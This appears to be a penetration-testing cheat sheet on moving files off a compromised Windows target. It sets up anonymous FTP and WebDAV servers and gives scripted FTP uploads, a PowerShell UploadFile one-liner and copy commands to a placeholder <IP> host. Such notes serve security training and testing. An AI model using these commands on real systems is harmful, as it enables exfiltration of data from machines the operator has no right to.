FTP

Server

:: Requires [pyftpdlib] Package 
:: Start The Server
python3 -m pyftpdlib --port 21

Interactive

:: Interactive SHELL
:: Access The Server
:: [USER: anonymous PASSWORD: anonymous]
:: [PUT] - Upload The File
ftp ➜ open ➜ IP ➜ PUT "File Name"

Non Interactive

:: Non Interactive SHELL
:: Target
echo open IP > FTP.txt
echo USER anonymous >> FTP.txt
echo anonymous >> FTP.txt
echo PUT FILE.exe >> FTP.txt
echo bye >> FTP.txt

:: Upload The File
ftp -v -n -s:FTP.txt

# PSH Upload Method
(New-Object Net.WebClient).UploadFile('ftp://<IP>/<File Name>', '<Output>')

WebDav

Server

:: Requires [wsgidav - cheroot] Packages
wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

Target

Note

DavWWWRoot is a Special Keyword recognized by the Windows Shell. No such folder exists on your WebDAV Server.

The Keyword tells the Mini-Redirector Driver, which handles WebDAV Requests that you are Connecting to the Root of the WebDAV Server.

**We can avoid using this Keyword if we specify a Folder that exists on our Server when Connecting to the Server. **

:: List WebDav Share Contents
dir \\<IP>\DavWWWRoot

:: Upload Files
copy C:<File Name> \\<IP>\DavWWWRoot\
copy C:<File Name> \\<IP>\<Share Folder>\
